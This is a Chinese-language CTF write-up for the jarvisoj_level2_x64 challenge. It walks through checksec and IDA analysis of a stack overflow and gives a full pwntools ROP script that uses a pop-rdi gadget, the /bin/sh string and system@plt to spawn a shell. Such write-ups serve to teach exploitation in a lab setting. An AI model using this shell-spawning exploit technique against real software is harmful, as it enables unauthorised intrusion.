jarvisoj_level2_x64

jarvisoj_level2_x64

逆向分析

image-20250810102722115

依旧是先下载附件,checksec一下然后丢到ida里去看

image-20250810103011174

这是一个64位的程序只开启了NX防御不允许栈执行,没有栈溢出的防御很有可能又是一个利用栈溢出的题目看看ida

image-20250810103339034

main函数很简单,发现有调用system函数,看看另一个函数是干啥的

image-20250810103429566

发现read函数有栈溢出,那么我们可以构造一个ROP去执行system(/bin/sh),找一下程序里有没有/bin/sh字符串。

image-20250810103601124

根据buf在栈上的位置,应该填充136位。通过ROPgadget命令可以找到0x00000000004006b3 : pop rdi ; ret在64位系统里是通过寄存器向函数传参所以我们只需要将rdi里填充/bin/sh的地址再执行system函数就是执行system(/bin/sh)。

payload

写一下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
p=process('./level2_x64')
#gdb.attach(p, gdbscript='''
# b *main
#''')
#p=remote('node5.buuoj.cn',29985)
offset=136
ret=0x4004a1
bin_sh=0x600a90
rdi_pop_addr=0x4006b3
system_plt=0x4004C0
payload=b"a"*offset+p64(rdi_pop_addr)+p64(bin_sh)+p64(ret)+p64(system_plt)
p.recvuntil(b"Input:\n")
p.sendline(payload)
p.interactive()

本地正常运行

image-20250810104929610

远程测试

image-20250810105105442

成功获取flag